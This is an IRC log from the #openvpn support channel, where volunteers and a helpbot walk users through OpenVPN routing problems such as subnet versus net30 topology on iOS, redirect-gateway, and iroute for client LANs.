10:58 < kisom> _AxS_: Have you tried switching to net30 instead of subnet?
10:58 < _AxS_> ..nope.  need to look up that one
10:59 -!- zz_AsadH is now known as AsadH
11:00 < _AxS_> ah, right.  Yeah my first openvpn setup was with 2.1 or 2.2, so 'topology subnet' was always available.  I never tried the older 'net30' method
11:00 < kisom> I don't think that's the issue either, but I know there are some limitations with the iOS tun implementation
11:01 < kisom> So give it a try. I use net30.
11:02 < _AxS_> ..right.  So i dropped the (useless, since i'm not NAT'ing 10.8.x.x) route from my lan router, and now pings from the server to the iphone go unanswered.  this seems more inline with what is expected..
11:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:36 < _AxS_> kisom: ok, net30 works.
11:37 < _AxS_> kisom: ..except I can't use net30 because two of the laptops that need access are out of the country for the next couple of months.  However, at least now I have a lead for my research
12:04 -!- AsadH is now known as zz_AsadH
12:10 -!- thermoman_ is now known as thermoman
12:21 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
12:22 -!- brute11k1 [~brute11k@89.249.231.69] has quit [Ping timeout: 260 seconds]
12:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
12:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:41 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
12:41 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 255 seconds]
12:52 <+pekster> _AxS_: fwiw, you can push topology from the server. I leave it out on all my configs I design so it can be changed centrally
12:59 < _AxS_> pekster: yes I noticed that -- I'll be converting the clients to do that I think once I get access to them.
12:59 -!- zz_AsadH is now known as AsadH
12:59 < _AxS_> i'm still confused as to why topology subnet isn't working, though -- it's reported to work and is the -only- way for ipv6 to work...
13:00 < _AxS_> ..and of course, there are no errors in any logs to help ne debug this
13:01 <+pekster> Yea, no idea there, unless the tun driver doesn't support ip/subnet configuration thorugh the OS-level network commands called
13:02 <+pekster> (or does allow openvpn to call it and then fails to properly set it up...)
13:02 < _AxS_> ..which would seem odd to me, esp given that it works with net30 and i assume it's the same calls...
13:02 <+pekster> No, not at all
13:02 < _AxS_> oh?
13:03 <+pekster> net30 is a PtP setup using a peering between the 2 center IPs in a /30 for compatability with Windows sytems that required a subnet-based fake Ethernet network to connect
13:03 <+pekster> It's basically just there to support Windows clients before the 2.1 release came out that supprted subnet topology
13:04 <+pekster> net30 does do a "subnet-like" allocation of the /30 in Windows, but Unix/Linux actually sets up a PtP connection, not a /30 "subnet" (despite the directive's name)
13:05 < _AxS_> Ahhh...  yeah that could be a difference.   i wonder if for some reason it's doing that even with 'topology subnet' ..
13:05 <+pekster> Nope
13:06 <+pekster> See the manpage; your tun driver (and ifconfig or ip tool used to set it) requires support for that, however
13:06 < _AxS_> Although, given that there's a bunch of positive reports on using stuff like 'redirect-gateway' to route all traffic through to the vpn, i expect things are working properly (and using 'topology subnet')
13:06 <+pekster> It should spew errors if it lacks the support, but if the support is there but incorrectly implemented it would silently fail
13:07 <+pekster> Even though it's a tun (ie: OSI Layer 3, or IP) connection, 'subnet' topology sets an IP+mask, not the traditional PtP setup for tun
13:07 < _AxS_> ... does 'redirect-gateway' work in net30 ?
13:08 <+pekster> Yup, it works in any topology as it adjusts the routing table; openvpn is just the program calling the system commands to do that
13:11 -!- nickanderson_afk is now known as nickanderson
13:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:21 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
13:21 <@krzee> anyone here know someone really good at seo?
13:22 < _AxS_> hm.  does the server automatically push "topology subnet" if it's set in the config file?  I dropped topology from the client .ovpn, added a push "topology subnet" in the server's config , now the client is erroring on duplicate topology entries..
13:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:25 <+pekster> No need for the push since you're using --server (see how that directive expands)
13:25 < _AxS_> gotchya.
13:25 <+pekster> Just declare the topology and --server takes care of it. You only ever need to define the push if you self-expand that directive
13:26 <+pekster> (which I like since it tells you exactly what's happening, but some people like the "cleaner" looking config files with the meta-directives)
13:27 < _AxS_> ...  i wonder if my client-to-client directive is getting in the way...
13:28 < _AxS_> ..nope
13:28 < _AxS_> oh well, i'll play with this later.  tnx for being a sounding board
13:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
13:45 -!- mnbr [~fr34k@unaffiliated/mnbr] has joined #openvpn
13:46 < mnbr> free vpn
13:47 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
13:48 -!- mnbr [~fr34k@unaffiliated/mnbr] has quit [Quit: Leaving]
13:56 -!- rkantos [robin@4e.fi] has joined #openvpn
14:02 -!- Cpt_Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
14:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
14:04 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
14:16 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
14:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:17 -!- mode/#openvpn [+v s7r] by ChanServ
14:36 -!- Devastator- [~devas@177.18.196.246] has joined #openvpn
14:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
14:38 < _AxS_> OK so this is odd. iOS client -- topology subnet, i added redirect-gateway just for fun, and everything works.  without redirect-gateway it doesn't work.
14:38 < _AxS_> (everything being relative -- i don't have my server set up to NAT the vpn, so i can only access stuffs on the vpn)
14:39 <+pekster> topology subnet has an implicit link-local route for the subnet
14:40 <+pekster> eg: 'ifconfig-push 10.8.0.2 255.255.255.0' adds the 10.8.0.2/24 via 10.8.0.1 (or whatever your server VPN IP is)
14:40 < _AxS_> pekster: ..and the log seems to say that this is being set, but I'm thinking maybe it isn't...
14:41 <+pekster> What can't you do if you don't redirect-gateway? Access the VPN IP of the server?
14:41 <+pekster> You can never access server-side subnets unless you push routes for them
14:41 <+pekster> !serverlan
14:41 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:41 < _AxS_> pekster: access anything on the vpn
14:42 <+pekster> What's the routing table on the client after connect in subnet topology?
14:42 < _AxS_> pekster: no idea, haven't found a way to query the routing table of an iphone
14:42 < _AxS_> (not jailbroken, so no access to all the usual linux goodies)
14:43 <+pekster> Lovely.
14:43 <+pekster> (More poking at Apple's walled garden, not the fact that you aren't jailbroken)
14:43  * _AxS_ nods
14:43 <+pekster> Maybe --show-net-up ?
14:43 <+pekster> Oh, I guess that's listed under "Windows-Specific options" :(
14:43 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
14:44 < _AxS_> i tried using it with verb 6 but it didn't output anything differently from verb 3 (i think verbosity might be ignored or hard set in the ios client right now)
14:44 <+pekster> If you can't ping 10.8.0.1 (VPN server IP) with topology subnet without redirect-gateway, but you can without it, file a bug against openvpn-connect I'd guess. That's not open-source, and neither is your OS, so I doubt people here can help further without access to information we can't ever get
14:45 <+pekster> s/without it/with it/
14:45 <+pekster> And consisder a more open platform ;)
14:45 < _AxS_> pekster: i can't png 10.8.0.1 from the ping client on the phone, no.  However, i *can* ping the client's IP from the server, at least 3/4 of the time.
14:45 < _AxS_> pekster: ..which is odd.
14:46 < _AxS_> Anyhow, this is progress -- at least I've got a way to access the VPN if i need to.  I just can't access anything other network resources when connected, which I'm ok with for now
14:48  * pekster likes open platforms since you can poke at them in as much depth as your knowledge/resources allow. I don't necessarily understand all the code, but it's nice to 'grep -nR "error message" *' and see what's actually going on
14:48 <+pekster> It's solved plenty of issues even if nothing was really "broken" just knowing how it worked
14:51 < _AxS_> pekster: given the config i'm using is almost identical to configs on laptop clients, I expect this is a bit of a bug with the (rather new) iOS client.  Another tidbit that I mentioned earlier which you might have missed -- when connected to my local network, and my router has a route rule for 10.8.0.0/24 -> [lan-ip-of-server-running-openvpn], everything works.  So it's almost as if 10.x.x.x traffic doesn't get bound to the tun iface correctly.
14:53  * pekster shrugs. If you can't even ping across the VPN between the peers (and have checked the firewalls) then it's a much more basic problem that needs solving
14:53 <+pekster> Hard to solve basic problems when you're dealing with opaque black-box programs without access to the source, debugging info, or system routing/interface info
14:54 < _AxS_> yep, very true.
14:55 < neilhwatson> sssh, don't rile the Job's Army.
14:57 <+pekster> Yes, yes, don't look at the walls of our garden as the vines that cover them are so pretty!
14:57 < _AxS_> Anyone know off-hand what the route 'redirect-gateway' adds is?  is it the standard 'default via 10.8.0.1' type thing?
14:58 <+pekster> _AxS_: manpage tells you. Either 0/0, or two /1 routes depending on how you call it
14:58 < _AxS_> ah, there's the default.  ok tnx
15:00  * _AxS_ is going to try and toss a slightly wider net with a static network route and see if that'll do the trick
15:01 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
15:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:04 < _AxS_> AHA, progress.  "tun_build_route_error: only tunnel routes supported" ..  http://sourceforge.net/mailarchive/message.php?msg_id=30371407  seems to match
15:04 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net)
15:05 <+pekster> Well then, apparently the claim that it's "100% protocol-compatible" is untrue
15:05 <+pekster> Who would have thought a disjoined codebase could ever fail there... :P
15:07 <+pekster> Not really a problem #openvpn can help with. Dunno if #openvpn-as supports their propritiary mobile app or not; you can try there, or their other support mechanisms
15:07 <+pekster> I'd say to check the code, but... ;)
15:08 < _AxS_> pekster: :)
15:09 -!- p47gat [~gatusso3@189.134.210.71] has joined #openvpn
15:10 < p47gat> I can pass the internet with ipv4 forwarding and before it works HELP ! :)
15:10 < p47gat> I can enter to the server but my internet does not work
15:11 <+pekster> p47gat: Some context would help
15:12 <+pekster> !goal
15:12 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:12 -!- oomph [~jr@23.30.10.209] has joined #openvpn
15:12 < _AxS_> Sweet.  Adding a spurious "route 10.8.0.0 255.255.255.0" to the client config file has made it work as it should.
15:13 < _AxS_> ..so for whatever reason the client isn't doing that on its own, looks like
15:13 < oomph> Hello, does anyone here know of an OpenVPN client, that does not require root access and will run on a Kindle Fire tablet?
15:13 < oomph> There is one on the Android app store, but Kindles app store is kind of useless.
15:14 < _AxS_> Kindle Fire is an Android?
15:14 < oomph> preferably it would be nice to find an APK that I can side load
15:14 < oomph> yes
15:14 < _AxS_> ...i expect that should be doable.  if not, you could grab one from the android app store, no?
15:15 < oomph> I don't know how to grab the actual APK file from the app store
15:15 < oomph> aside from installing it directly onto my phone
15:16 < p47gat> pekster, openvpn was working very fine but today it does not work so I just made new users and it works but the problem is that when I connect to the server my pc lost internet
15:16 <@krzee> p47gat,
15:16 <@krzee> !redirect
15:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:16 <@vpnHelper> http://ircpimps.org/redirect.png
15:16 <@krzee> see flowchart
15:16 < p47gat>  krzee  pekster, openvpn was working very fine but today it does not work so I just made new users and it works but the problem is that when I connect to the server my pc lost internet
15:16 < oomph> I would need to download the APK file from the Andoid Market, then side load it onto a kindle fire
15:17 <@krzee> p47gat, that story changes nothing
15:17 < _AxS_> oomph: what version of android is it?  i'm guessing it's not 4.0 or higher......
15:17 <@krzee> troubleshoot it
15:17 <@krzee> lol
15:17 <@krzee> p47gat, what do you mean "new user" ?
15:17 <@krzee> is it access-server or something?
15:17 < p47gat> krzee, new clients
15:17 < oomph> _AxS_:  let me check
15:18 <@krzee> as in 1 cert for each client?
15:18 < _AxS_> oomph: finding one that works well for older android versions might be difficult
15:18 < p47gat> krzee, yes
15:18 <@krzee> p47gat, yes, you need each client to have his own cert
15:18 < p47gat> I just made all new,
15:18 < oomph> _AxS_:   it runs Ice Cream Sandwich (4.0)
15:18 < oomph> a modified version of it
15:19 < oomph> apparently
15:19 < p47gat> krzee, yes I know, and I alrady and I can enter to the server the problem is that when I'm in the server I lost internet I can not surf and before it never happen
15:19 <@krzee> p47gat, if you want to fix your internet redirecting, use the flowchart i said to use
15:20 < p47gat> crflowchart ? before it work http://crysol.org/es/tunel-openvpn
15:20 <@vpnHelper> Title: Concentrador OpenVPN en Debian GNU/Linux (o Ubuntu) | CRySoL (at crysol.org)
15:20 < _AxS_> oomph: nice, so it's possible then..
15:20 < p47gat> but not now
15:20 <@krzee> !redi
15:20 <@krzee> !redirect
15:20 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:20 <@vpnHelper> http://ircpimps.org/redirect.png
15:20 <@krzee> ^ THAT flowchart
15:20 <@krzee> like i said 4 minutes ago
15:21 < p47gat> krzee, I think the problem is iptables but I dont know of this topic
15:21 <@krzee> if you dont wanna use the flowchart i made, why would i help you?
15:21 < p47gat> what is flowchart ?
15:21 <@krzee> holey shit
15:22 <@krzee> !redirect
15:22 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:22 <@vpnHelper> http://ircpimps.org/redirect.png
15:22 < _AxS_> p47gat: the flow chart is http://ircpimps.org/redirect.png
15:22 <@krzee> you see the link where it says flowchart?
15:22 <@krzee> you have been given it 4 times
15:22 <@krzee> im done
15:23 <+pekster> oomph: Kindle?
15:23 <+pekster> !kindle
15:23 <@vpnHelper> "kindle" is http://plai.de/android/ - Please report back if you have issues, or if it worked well. (blame plaisthos either way)
15:23 < oomph> yes
15:24 < oomph> pekster:  yeah, I am just trying to find an OpenVPN client that I can side load on a Kindle Fire HD
15:24 < oomph> There is one on the actual android market that works well without the need to root your device.
15:25 < oomph> but in order to side load it onto a kindle fire, I need the actual APK files
15:25 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:27 <@krzee> oomph, he gave you the link to the apk, the dev asked that you test it and let him know
15:27 <+pekster> krzee: Is it a full moon or something? :\
15:27 <@krzee> for srs bro
15:28 < oomph> pekster: does that APK require a jailbroken device?
15:28 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
15:29 <+pekster> rooted? I don't believe so. Try it and find out; I don't know much about it since I'm not the developer nor do I own a Kindle
15:30 -!- _AxS_ [~axs@gentoo/developer/axs] has quit [Quit: gone]
15:30 <@krzee> no root needed
15:33 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has quit [Quit: Orbi]
15:34 -!- dazo is now known as dazo_afk
15:38 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
15:39 < c3vin> what is access server channel
15:39 < c3vin> ?
15:39 <+pekster> !as
15:39 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:40  * krzee points at the topic
15:41 <+pekster> (I checked. It's not a full moon, at least not here.)
15:41 <@krzee> its an internet full moon
15:41 <+pekster> Full moon counting by Swatch time? :)
15:41 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:42 -!- Sickness\ is now known as sickness\
15:44 < oomph> pekster: thanks for the link, I think this should work
15:44 < oomph> will let you all know
15:44 <+pekster> I'm sure the developer is most curious; drop that nickname in your reply so it's sure to be seen
15:46 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
15:46 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:47 -!- sickness\ is now known as Sickness\
15:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:52 < hg_5> hello, how to see pc1 and pc2 puu.sh/1Y1O0 ?
15:53 <+pekster> hg_5: see this:
15:53 <+pekster> !clientlan
15:53 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
15:53 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
15:53 < hg_5> pekster which server you mean black router or white router?
15:53 < hg_5> white router has this route
15:54 < hg_5> but black doesn't , should i manually add this route to black?
15:54 <+pekster> The flowchart explains all the steps you need to expose a client LAN across a VPN connection
15:54 <+pekster> Following it will tell you each step you must take
15:55 < hg_5> pekster can you select which  shape on flowchart i have to look ;p?
15:55 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
15:56 <+pekster> huh? You must complete the entire flowchart or your may have missed something
15:56 <+pekster> If you can't follow directions to verify each stage of your VPN is working, then I can't be bothered to provide help
15:57 < hg_5> ok i will check it ..... ;'..
16:03 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has left #openvpn []
16:03 < hg_5> pekster
16:03 < hg_5> first shape relates to black router or white router?
16:03 < p47gat> the net.ipv4.ip_forward = 1 but I can have internet connection !
16:03 -!- p47gat [~gatusso3@189.134.210.71] has quit [Quit: Saliendo]
16:03 -!- p47gat [~gatusso3@189.134.210.71] has joined #openvpn
16:03 -!- p47gat [~gatusso3@189.134.210.71] has quit [Client Quit]
16:04 -!- p47gat [~gatusso3@189.134.210.71] has joined #openvpn
16:04 < p47gat> the is net.ipv4.ip_forward = 1  but I can not have internet ;( help
16:04 <+pekster> hg_5: Both, if those are your VPN clients. The box is pretty obvious. "Can the server ping the vpn ip of the client?" it asks. Can it?
16:04 < hg_5> pekster no it can't
16:05 <+pekster> Then follow that answer and do the next thing on the flowchart
16:05 < hg_5> i have checked through ssh on black router if it can ping, and no it can't it just can ping 10.9.0.x, but not local ip 192.168.7.x
16:05 < p47gat> :(
16:05 < hg_5> fix your client's firewall
16:06 < p47gat> pekster, where can I have flowchart ?
16:06 < hg_5> so its firewall of white router?
16:06 <+pekster> The client. Yes. Stop referring to them as 'white' vs 'black.' You have a VPN client and a VPN server. One acts as a client, the other as a server
16:07 <+pekster> p47gat: The same one you've been linked 4 times now? Maybe you should bookmark it. Or type the command yourself, which is:
16:07 <+pekster> !redirect
16:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:07 <@vpnHelper> http://ircpimps.org/redirect.png
16:07 < hg_5> yes, sorry, pekster so what i should set in client firewall settings(firewall is disabled)
16:08 <+pekster> If your firewall is disabled, you should be able to ping the client VPN IP from the server. I suppose your server's firewall could reject the outbound ping or return reply
16:08 <+pekster> hg_5, if you can't even ping across your VPN tunnel you should not even be worrying about routing your LANs across the VPN. You can't route across a broken link. Fix it.
16:09 < hg_5> pekster how to fix it ;'
16:09 <+pekster> !101
16:09 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
16:09 < oomph> pester, that APK worked with kindle fire
16:09 < oomph> kindle fire HD
16:09 <+pekster> Try a basic netfilter guide hg_5. #netfilter has a link to a decent one in their /topic
16:09 -!- Cpt_Oblivious is now known as Cpt-Oblivious2
16:09 -!- Cpt-Oblivious2 is now known as Cpt-Oblivious3
16:09 -!- Cpt-Oblivious3 is now known as Cpt-Oblivious4
16:10 < hg_5> ok thanks pekster
16:10 -!- Cpt-Oblivious4 is now known as Cpt-Oblivious
16:10 < p47gat> pekster, push "redirect-gateway local def1" is enable in server.conf
16:10 <+pekster> oomph: Good to hear that the Kindle apk worked. (CC: plaisthos to keep you in the loop too)
16:10 < p47gat> pekster, push "redirect-gateway def1 bypass-dhcp"
16:12 <+pekster> Okay, so? If you want Internet-redirection to work, you need to follow the *entire* flowchart, completing each step. Not just enabling a single option
16:12 < oomph> yeah, i sent him a PM
16:12 < oomph> is plaisthos the android dev?
16:14 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:14 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 272 seconds]
16:16 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has quit [Read error: Operation timed out]
16:16 < [fred]> how can i set a specific route for one client on the openvpnserver for 'the way back' during connect of that client
16:17 < [fred]> i've a ccd/client.conf with iroute but i always have to set the route to that subnet manually on the openvpnserver after i restarted the server
16:18 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
16:18 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has joined #openvpn
16:22 -!- Sickness\ is now known as sickness\
16:23 -!- nickanderson is now known as nickanderson_afk
16:24 <+pekster> [fred]: You need to a matching --route entry in the server's config, otherwise the server won't route to that network
16:24 <+pekster> See the manpage, or:
16:24 <+pekster> !iroute
16:24 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
16:24 <+pekster> (well, see the manpage anyway; maybe that info helps in addition)
16:25 < [fred]> hmm
16:26 -!- Devastator- [~devas@177.18.196.246] has quit [Read error: Connection reset by peer]
16:26 <+pekster> [fred]: Maybe this is also useful:
16:26 <+pekster> !clientlan
16:26 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
16:26 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
16:26 -!- Devastator [~devas@177.18.196.246] has joined #openvpn
16:26 -!- sickness\ is now known as Sickness\
16:27 < [fred]> so theres no way to 'just execute that .sh after client(1) connected'
16:27 <+pekster> You can bring the system route up/down in a --client-connect
16:27 <+pekster> No idea why that's useful
16:28 <+pekster> Even if the client is disconnected, the server is normally still "responsible" for the route, even if the client is down. Just like your gateway is still responsible to route traffic to your PC even if it's off
16:29 < [fred]> my prob is that i've a service on the .1 of a client isolated openvpn but a subnet needs to connect to that internal openvpn-ip there are other clients connected to that server which share the same subnet of that client
16:29 <+pekster> You can't add multiple duplicate routes to a host like that
16:29 < [fred]> i know
16:30 < [fred]> thats why i only want to .sh that script if client(1) connects
16:30 <+pekster> What happens if both clients connect?
16:30 < [fred]> because alle the other client do direct conenct
16:30 <+pekster> You can't have >1 client using the same-numbered LAN. Fix your network topology if you plan to route between them, or explore really hackish full-network NAT solutions
16:31 < [fred]> there only one client why i need to route though a subnet
16:31 < [fred]> i dont want to route between them
16:31 <+pekster> Then don't add a client LAN route, and you don't need the iroute anymore
16:31 <+pekster> Problem solved.
16:31 < [fred]> i want all the client to reach the .1 from the openvpn server
16:31 <+pekster> You don't need an iroute then
16:31 < [fred]> hm
16:32 <+pekster> iroute is for accessing hosts or networks behind the CLIENT side, not the server-side
16:32 < [fred]> yes
16:32 < [fred]> thats why i use it
16:32 < [fred]> that subnet is at a client
16:32 <+pekster> If the client subnet conflicts with another network you have a route fro on the server, you have conflicts
16:33 <+pekster> Re-number your networks, or use crappy work-arounds if you "can't"
16:33 < [fred]> well - i've it running now - everything works - but i need to enter that route every time i restart openvpn
16:33 < [fred]> when the tun0 goes down-  the route dissapears
16:33 <+pekster> Then add it as a --route
16:33 <+pekster> And follow the flowchart, as it tells you to do that
16:34 <+pekster> You don't want the route to come and go when the client connects. If you did want that, you would be able to script it and have a very good reason to need that
16:34 < [fred]> but i dont want that the other clients see that route
16:34 <+pekster> Then don't push it
16:34 <+pekster> --route is not the same as --push
16:34 <+pekster> Manpage should help
16:34 < [fred]> well
16:35 < [fred]> i dont push anything
16:35 < [fred]> hmpf
16:35 <+pekster> Then clients don't see it
16:35 <+pekster> SImple
16:35 <+pekster> Clients don't get routes unless they're pushed
16:35 -!- p47gat [~gatusso3@189.134.210.71] has quit [Quit: Saliendo]
16:35 < [fred]> if all the client see the route - some clients are unable to connect, nbecuase they reside in the same subet - but in another place
16:36 < [fred]> so i need to fix that one clients subnet
16:36 <+pekster> Client's don't get the route unless you push it
16:36 < [fred]> and push it
16:36 <+pekster> Stop pushing it
16:36 <+pekster> I don't see your problem
16:36 < [fred]> well
16:36 < [fred]> --push
16:36 < [fred]> and --route
16:36 < [fred]> sound like you're using it via cmdline
16:36 <+pekster> ommit the leading dashes and it's valid in a config file
16:37 <+pekster> As explained in, you guessed it, the manpage I keep referring to
16:37 <+pekster> You can also look every thing I've explained here up in, that's right, the manpage
16:37 < [fred]> well
16:37 <+pekster> If you don't want a client ot get a route, don't push it. It's literally that simple.
16:37 < [fred]> i'm trying to get it to work for 3 days now
16:37 < [fred]> sry - thx for your help
16:37 <+pekster> Post some server and client configs and explain better what's not working
16:37 < [fred]> i think you dont get what i want to do
16:38 <+pekster> Apparently not. You need a server-side route for a client LAN. Did you see the flowchart, becuase that explains *exactly* how to do that
16:38 < [fred]> i'll fix the other subet
16:38 < [fred]> *subnet
16:38 <+pekster> If you don't want that to be pushed to all clients, then don't put a "push 'route blah blah'" statement in the server config
16:38 < [fred]> but strange that openvpn cant do want i want
16:38 < [fred]> well
16:38 < [fred]> i push the openvpn's lan
16:39 <+pekster> You want the route to come up with openvpn, right? This is what the 'route' directive does
16:39 < [fred]> the 'transfer net'
16:39 <+pekster> Post some configs please. I have no clue what a 'transfer net' is
16:40 < [fred]> # First, uncomment out these lines:
16:40 < [fred]> client-config-dir ccd
16:40 < [fred]> route 10.10.99.0 255.255.255.0
16:40 <+pekster> !paste
16:40 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
16:40 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:40 < [fred]> k
16:41 <+pekster> Drop the ccd up somewhere too, either another paste, or a clearly labeled addendum to the server one
16:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
16:42 -!- oomph_ [~jr@173.208.45.163] has joined #openvpn
16:42 -!- oomph_ [~jr@173.208.45.163] has quit [Remote host closed the connection]
16:42 -!- oomph [~jr@23.30.10.209] has quit [Read error: Connection reset by peer]
16:43 < [fred]> http://pastebin.com/HGm3qXSZ
16:43 -!- oomph [~jr@23.30.10.209] has joined #openvpn
16:43 < [fred]> client2-10 have a direct connect to the vpn server
16:43 <+pekster> "This is a private paste. If you created this paste, please login to view it"
16:43 < [fred]> they reach 10.10.99.1
16:43 < [fred]> pff
16:43 < [fred]> se
16:43 < [fred]> cc
16:44 < [fred]> http://pastebin.com/UFdru9Ab
16:44 < [fred]> only client1 has 192.169.0.x
16:44 < [fred]> the router of client1 does the routes/vpn gateway
16:44 -!- oomph_ [~jr@173.208.45.163] has joined #openvpn
16:44 -!- oomph [~jr@23.30.10.209] has quit [Read error: Connection reset by peer]
16:44 < [fred]> sey
16:44 -!- oomph__ [~jr@23.30.10.209] has joined #openvpn
16:44 -!- oomph__ is now known as oomph
16:44 < [fred]> i musspelled
16:44 <+pekster> You're missing a server-side directive to route to the 192.168.0.0/24 netwnork
16:44 <+pekster> As I said earlier. You need that
16:45 < [fred]> yes - but some other client also have 192.168.0 as their homenetwork
16:45 <+pekster> Otherwise the OS itself will not send data bound for that network to the client
16:45 <+pekster> That DOESN'T MATTER
16:45 <+pekster> Your clients don't matter at all
16:45 <+pekster> You're not pushing routes to other clients
16:45 <+pekster> Please go read the section in the manpage titled '--iroute'
16:45 <+pekster> Then read it again
16:45 <+pekster> Then come back and ask if you still don't understand it
16:45 < [fred]> well - if one hosts trys to reach its default gateway (192.168.0.1) it try to connect over the tunnel
16:46 < [fred]> but the default gw is in their homelan
16:46 <+pekster> Nope, Link-local routes are always preferred over VPN routes, unless you're really screwed up the client-side config
16:46 < [fred]> i dont want to push that route to every client
16:46 < [fred]> eh
16:46 < [fred]> sry
16:46 <+pekster> --route does not push that route to all clients
16:46 <+pekster> Please go read the manpage, becuase you clearly don't understand what these directives do
16:46 <+pekster> I can't help if you refuse to read
16:47 < [fred]> i dont want that every client knows about 192.168.0.x - but the openvpnserver need to know the route to 192.168.0.x
16:47  * pekster sighs
